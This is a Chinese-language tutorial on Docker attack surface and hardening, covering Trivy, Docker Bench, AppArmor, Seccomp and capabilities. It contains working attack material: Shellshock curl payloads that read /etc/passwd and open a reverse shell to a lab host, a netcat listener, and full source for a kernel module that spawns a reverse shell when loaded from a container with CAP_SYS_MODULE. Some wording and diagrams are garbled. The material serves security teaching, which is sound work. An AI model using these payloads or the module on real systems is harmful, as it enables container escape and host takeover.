破解容器迷思:深入解析 Docker 攻擊面與防禦策略

容器化技術的普及為軟體開發和佈署帶來了革命性的變革,但也引入了新的安全風險。我將以資深技術工作者的角度,帶您深入瞭解 Docker 容器的攻擊面,並提供實戰防禦策略,協助您構建更安全的容器化環境。

Docker 攻擊面解析

Docker 的運作機制決定了其潛在的攻擊面。錯誤的設定和使用習慣可能導致嚴重的安全漏洞。以下我將分析幾種常見的攻擊途徑:

1. 許可權提升

Docker 需要 root 許可權才能執行。任何屬於 docker 群組的使用者都能夠提升許可權至 root。在 Kubernetes 等容器協調系統中,這個風險會被放大。

  graph LR
    C[C]
    A[攻擊者] --> B(Docker 群組使用者)
    B --> C{許可權提升}
    C -- Root 許可權 --> D[控制主機]

上圖展示了攻擊者如何利用 Docker 群組使用者的許可權提升至 root,最終控制主機。

2. 遠端攻擊

暴露在外的 Docker Remote API 或存在漏洞的應用程式,都可能成為攻擊者的入口點。例如,一個存在遠端程式碼執行漏洞的 Web 應用程式,就可能讓攻擊者在容器內執行任意程式碼。

  graph LR
    B[B]
    A[攻擊者] --> B{遠端漏洞利用}
    B --> C[容器內執行程式碼]
    C --> D[控制容器]

上圖説明瞭攻擊者如何利用遠端漏洞在容器內執行程式碼,進而控制容器。

3. 容器逃逸

攻擊者在控制容器後,可能嘗試利用系統漏洞或錯誤設定逃逸到主機系統。

  graph LR
    B[B]
    A[攻擊者控制容器] --> B{漏洞利用/錯誤設定}
    B --> C[逃逸容器]
    C --> D[控制主機]

上圖描述了攻擊者如何從已控制的容器中逃逸,最終控制主機系統。

4. 惡意映像檔

從不受信任的來源下載的映像檔可能包含惡意程式碼或後門。這些惡意映像檔一旦執行,就可能對系統造成嚴重威脅。

實戰案例:Shellshock 漏洞利用

Shellshock (CVE-2014-6271) 是一個 bash shell 中的嚴重漏洞。我將透過一個實際案例,演示如何利用 Shellshock 漏洞攻擊存在漏洞的 Docker 容器。

首先,我們從 Docker Hub 下載一個包含 Shellshock 漏洞的映像檔:

docker run --rm -it -p 8080:80 vulnerables/cve-2014-6271

這條指令會下載並執行一個存在 Shellshock 漏洞的 Docker 映像檔,並將容器的 8080 埠對應到主機的 8080 埠。

接著,我們使用 curl 傳送特製的 HTTP 請求,觸發 Shellshock 漏洞並在容器內執行程式碼:

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://localhost:8080/cgi-bin/vulnerable

這個 curl 指令利用 Shellshock 漏洞,在容器內執行 cat /etc/passwd 指令,讀取 /etc/passwd 檔案的內容。

透過修改 Payload,我們甚至可以取得容器的反向 Shell:

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'" http://localhost:8080/cgi-bin/vulnerable

這個 curl 指令會在容器內建立一個反向 Shell,連線到攻擊者主機的 4444 埠。

在攻擊者主機上使用 netcat 監聽 4444 埠:

nc -lvc 4444

這個 netcat 指令會在攻擊者主機上監聽 4444 埠,等待來自容器的反向 Shell 連線。

成功連線後,攻擊者就能控制容器,並可能進一步嘗試逃逸到主機系統。

容器安全防禦策略

面對 Docker 容器的潛在風險,我們可以採取以下防禦策略:

  • 使用最小許可權原則: 避免將不必要的許可權授予容器或使用者。
  • 定期更新映像檔: 及時更新映像檔以修復已知漏洞。
  • 掃描映像檔漏洞: 使用漏洞掃描工具檢查映像檔是否存在安全風險。
  • 強化容器設定: 限制容器的資源使用,停用不必要的功能。
  • 監控容器活動: 實時監控容器的執行狀態,及時發現異常行為。
  • 實施網路安全政策: 使用防火牆和入侵偵測系統保護容器網路。

透過以上策略,我們可以有效降低 Docker 容器的安全風險,構建更安全的容器化環境。

持續學習和實踐是提升容器安全的重要途徑。關注最新的安全資訊,並將安全措施融入到容器化流程的每個環節,才能真正保障容器化環境的安全。

深入剖析 Docker 機密存取與安全防護

在現代軟體開發中,容器化技術已經成為不可或缺的一部分。Docker 作為容器化技術的長官者,其安全性也日益受到重視。本文將探討 Docker 機密存取的挑戰、常見漏洞以及如何利用自動化工具和安全功能構建更安全的 Docker 環境。

Docker 機密管理的挑戰與風險

機密管理一直是軟體開發中的一大難題。在 Docker 環境中,常見的錯誤做法是將機密資訊儲存在環境變數或程式碼中,這會帶來極大的安全風險。儘管有許多建議的機密儲存方法,例如使用 HashCorp Vault 等專業工具,但許多開發者仍然習慣將機密資訊直接儲存在環境變數中。

以下範例説明瞭這種做法的危險性:

危險的 Dockerfile 示範

FROM mysql/mysql-server:latest
ENV MYSQL_ROOT_PASSWORD=toor
ENV MYSQL_DATABASE=users
ENV MYSQL_USER=root
ENV MYSQL_PASSWORD=toor
ENV MYSQL_ROOT_HOST=mysql-db

這個 Dockerfile 將資料函式庫憑證直接寫入環境變數,一旦攻擊者獲得容器的存取許可權,就能輕易取得這些敏感資訊。

從容器內部存取機密

攻擊者進入容器後,只需執行 env 命令即可檢視所有環境變數,套件括資料函式庫憑證。

從主機存取機密

即使攻擊者沒有進入容器,只要擁有 Docker 主機的 root 許可權或屬於 Docker 群組,就能使用 docker inspect 命令檢視容器的環境變數,從而取得機密資訊。

docker inspect <container_name>

更精確地,可以使用以下命令只輸出環境變數:

docker inspect <container_name> -f "{{json .Config.Env}}"

這些範例清楚地展示了將機密資訊儲存在環境變數的風險。

利用自動化工具強化 Docker 安全

自動化安全評估工具可以幫助我們快速識別 Docker 環境中的潛在漏洞。以下介紹兩個常用的工具:

Trivy:簡潔高效的容器漏洞掃描器

Trivy 是一款開放原始碼的容器漏洞掃描器,適用於 CI/CD 流程中的安全整合。它可以掃描 Docker 映像檔,並提供詳細的漏洞資訊和摘要報告。

docker run --rm -v `pwd`:/root/.cache/ aquasec/trivy <image_name>

Trivy 會在掃描前自動更新漏洞資料函式庫,確保掃描結果的準確性。

Docker Bench Security:最佳實踐的檢驗標準

Docker Bench Security 是一個指令碼,用於檢查 Docker 容器佈署是否符合最佳實踐。它可以幫助我們發現設定錯誤和潛在的安全風險。

docker run -it --net host --pid host --userns host --cap-add audit_control \
-e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \
-v /etc:/etc \
-v /var/lib:/var/lib:ro \
-v /var/run/docker.sock:/var/run/docker.sock:ro \
--label docker_bench_security \
docker/docker-bench-security

透過 Docker Bench Security 的掃描結果,我們可以有針對性地修復安全漏洞,提升 Docker 環境的安全性。

AppArmor:構建更安全的容器環境

AppArmor 是一個 Linux 安全模組,可以限制容器的系統資源存取,從而提高容器的安全性。

檢查 AppArmor 狀態

首先,使用 docker info 命令確認 AppArmor 是否已啟用。

建立 AppArmor 設定檔

建立一個名為 apparmor-profile 的檔案,並加入以下內容:

#include <tunables/global>
Profile apparmor-profile
flags=(attach_disconnected,mediate_deleted) {
#include <abstractions/base>
file,
network,
capability,
deny /tmp/** w,
deny /etc/passwd rwklx,
}

這個 AppArmor 設定檔定義了一個名為 apparmor-profile 的設定檔,並包含了一些基本規則:

  • #include <tunables/global>#include <abstractions/base>:套件含預定義的 AppArmor 規則和巨集。
  • file, network, capability:允許容器存取檔案、網路和能力。
  • deny /tmp/** w:禁止容器在 /tmp 目錄下寫入檔案。
  • deny /etc/passwd rwklx:禁止容器讀取、寫入、執行、建立連結和修改 /etc/passwd 檔案。

這個設定檔限制了容器對 /tmp 目錄和 /etc/passwd 檔案的存取許可權,從而提高了容器的安全性。後續文章將會探討如何將此設定檔應用到 Docker 容器,以及更多 AppArmor 的進階用法。

  graph LR
    C[C]
    A[Docker 容器] --> B(AppArmor 設定檔)
    B --> C{限制資源存取}
    C --> D[提高安全性]

(圖表説明)

此圖表展示了 AppArmor 如何提高 Docker 容器的安全性。AppArmor 設定檔限制了容器的資源存取,從而提高了安全性。

深入剖析 AppArmor 與 Seccomp:強化容器安全的利器

在容器化應用程式日益普及的今天,容器安全的重要性不言而喻。本文將探討兩種關鍵的 Linux 核心安全機制:AppArmor 和 Seccomp,並以實際案例展示如何利用它們構建更安全的容器環境。

AppArmor:精細控制檔案存取

AppArmor 就像容器的私人保鑣,能精準管控容器對檔案系統的存取許可權。它允許我們定義細粒度的規則,限制容器可以讀取、寫入或執行的檔案和目錄。

設定 AppArmor 規則

以下是一個簡單的 AppArmor 設定檔範例 (apparmor-profile):

#include <tunables/global>

profile apparmor-profile flags=(attach_disconnected) {
  # 允許讀取所有檔案
  file,

  # 拒絕寫入 /tmp/ 及其子目錄
  deny /tmp/** w,
  deny /etc/passwd w,
}

這個設定檔包含兩條 deny 規則:

  • deny /tmp/** w: 禁止容器寫入 /tmp/ 目錄及其所有子目錄。** 表格示比對所有子目錄和檔案。
  • deny /etc/passwd w: 禁止容器寫入 /etc/passwd 檔案。

載入 AppArmor 設定檔

在使用設定檔啟動容器之前,必須先將其載入到核心:

sudo apparmor_parser -r -W apparmor-profile

啟動容器並驗證

使用以下命令啟動啟用 AppArmor 的容器:

docker run -itd --security-opt apparmor=apparmor-profile alpine

進入容器後,嘗試以下操作驗證規則是否生效:

touch /tmp/file  # 應失敗
cat /etc/passwd # 應成功
cat /etc/shadow # 應成功 (未設定規則)

可以看到,AppArmor 成功阻止了對 /tmp/ 的寫入,但允許讀取 /etc/passwd/etc/shadow(因為沒有設定相關規則)。

Seccomp:系統呼叫防火牆

Seccomp 就像容器的系統呼叫守門員,能篩選容器允許執行的系統呼叫,有效降低攻擊面。

建立 Seccomp 設定檔

以下是一個簡單的 Seccomp 設定檔範例 (seccomp-profile.json):

{
  "defaultAction": "SCMP_ACT_ALLOW",
  "architectures": [
    "SCMP_ARCH_X86_64",
    "SCMP_ARCH_X86",
    "SCMP_ARCH_X32"
  ],
  "syscalls": [
    {
      "name": "chmod",
      "action": "SCMP_ACT_ERRNO",
      "args": []
    }
  ]
}

此設定檔允許所有系統呼叫,除了 chmod

啟動容器並驗證

使用以下命令啟動啟用 Seccomp 的容器:

docker run -itd --security-opt seccomp=seccomp-profile.json alpine

進入容器後,嘗試以下操作驗證規則是否生效:

touch /tmp/testfile  # 應成功
chmod 400 /tmp/testfile # 應失敗
chown nobody /tmp/testfile # 應成功

可以看到,Seccomp 成功阻止了 chmod 系統呼叫,但允許 touchchown

特權模式下的 Seccomp

需要注意的是,--privileged 標誌會停用 Seccomp,即使指定了設定檔也無效。

Linux Capabilities:細粒度許可權管理

Linux Capabilities 將 root 使用者的特權分解成更小的單元,允許更精細地控制容器的許可權。預設情況下,Docker 會移除大部分 Capabilities,只保留必要的子集。

觀察容器 Capabilities

啟動一個普通容器和一個特權容器,並使用 capsh --print 命令觀察它們的 Capabilities 差異。可以發現,特權容器擁有的 Capabilities 明顯更多。

安全風險

過多的 Capabilities 會增加容器的攻擊面。例如,cap_sys_module 允許容器載入核心模組,這可能被攻擊者利用來控制主機系統。

從容器寫入核心網路網路空間:一個危險的案例

如果容器擁有 cap_sys_module 功能,攻擊者就能從容器內載入核心模組到主機核心,這是一個非常危險的安全漏洞。

(以下程式碼範例僅供演示,請勿在生產環境中使用)

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>

static int __init docker_module_init(void) {
  printk(KERN_INFO "Docker module has been loaded\n");
  return 0;
}

static void __exit docker_module_exit(void) {
  printk(KERN_INFO "Docker module has been unloaded\n");
}

module_init(docker_module_init);
module_exit(docker_module_exit);

這個簡單的模組只會列印訊息,但在實際攻擊中,它可以被替換成惡意程式碼。

AppArmor、Seccomp 和 Linux Capabilities 是構建安全容器環境的重要工具。透過合理設定這些安全機制,可以有效限制容器的許可權,降低安全風險,保護主機系統的安全。在實踐中,應根據應用程式的需求,選擇合適的安全政策,並定期更新以應對新的威脅。

圖表範例:

  graph LR
    E[E]
    F[F]
    G[G]
A[容器] --> B(AppArmor)
A --> C(Seccomp)
A --> D(Capabilities)
B --> E{限制檔案存取}
C --> F{篩選系統呼叫}
D --> G{細粒度許可權}

以上圖表展示了 AppArmor、Seccomp 和 Linux Capabilities 如何共同作用,提升容器安全性。AppArmor 限制檔案存取,Seccomp 篩選系統呼叫,而 Capabilities 提供細粒度的許可權管理。

額外建議:

  • 使用最小許可權原則,只賦予容器必要的許可權。
  • 定期更新安全政策,以應對新的威脅。
  • 使用安全掃描工具,及早發現潛在漏洞。

希望這篇文章能幫助你更好地理解容器安全,並在實踐中構建更安全的容器化應用程式。

建立反向 Shell 核心模組

為了進一步探討惡意程式碼如何利用容器逃逸,我們將示範一個更具威脅性的核心模組。這個模組不僅僅在核心日誌中留下訊息,而是在載入時建立反向 shell 連線,賦予攻擊者對主機系統的控制權。

首先,建立一個名為 reverseshell_module 的目錄,並在其中建立 reverseshell_module.cMakefile 兩個檔案。

reverseshell_module.c 檔案內容如下:

#include <linux/kmod.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>

static char command[50] = "bash -i >& /dev/tcp/10.0.2.15/4444 0>&1"; // 注意:IP 位元址已修改
char* argv[] = {"/bin/bash","-c", command, NULL};
static char* envp[] = {"HOME=/",NULL};

static int __init connect_back_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit connect_back_exit(void){
    printk(KERN_INFO "Exiting\n");
}

module_init(connect_back_init);
module_exit(connect_back_exit);

這個核心模組的核心功能是利用 call_usermodehelper 函式執行使用者空間的 /bin/bash 命令,並將輸入/輸出重定向到指定的 IP 位元址和埠號,建立反向 shell。

  • command 變數儲存了要執行的 bash 命令,其中包含重定向到 10.0.2.15:4444 的設定。(注意: 原文中的 IP 位元址 172.17.0.1 通常是 Docker bridge 網路的 IP,在實際攻擊場景中需要根據攻擊者主機的 IP 位元址修改。)
  • argv 陣列定義了傳遞給 call_usermodehelper 的引數,套件括要執行的程式 /bin/bash-c 引數以及 command 變數中的命令字串。
  • envp 陣列設定了執行環境,這裡設定了 HOME 環境變數。
  • connect_back_init 函式在模組載入時被呼叫,執行 call_usermodehelper 建立反向 shell。
  • connect_back_exit 函式在模組解除安裝時被呼叫,欄印 “Exiting” 訊息到核心日誌。

接著,建立 Makefile 檔案,內容如下:

obj-m += reverseshell_module.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules

clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean

這個 Makefile 定義瞭如何編譯 reverseshell_module.c 檔案。

  • obj-m += reverseshell_module.o 指定要編譯的模組目標檔案。
  • all 目標執行編譯核心模組的命令。
  • clean 目標執行清理編譯產物的命令。

這個反向 shell 模組的設計思路是,攻擊者可以將其編譯後,透過先前介紹的方法,利用容器的 CAP_SYS_MODULE 能力載入到主機核心,從而獲得主機系統的 root 許可權。

這個案例突顯了 CAP_SYS_MODULE 能力的潛在危險性,以及容器逃逸攻擊的嚴重後果。在實際應用程式中,應盡量避免授予容器 CAP_SYS_MODULE 能力,並加強容器的安全設定,以降低被攻擊的風險。

以下流程圖展示了攻擊者如何利用此模組進行容器逃逸:

  graph LR
    C[C]
A[攻擊者編譯惡意核心模組] --> B(將模組複製到容器內);
B --> C{容器擁有 CAP_SYS_MODULE 能力?};
C -- Yes --> D[在容器內載入模組];
C -- No --> E[攻擊失敗];
D --> F[反向 shell 連線建立];
F --> G[攻擊者獲得主機 root 許可權];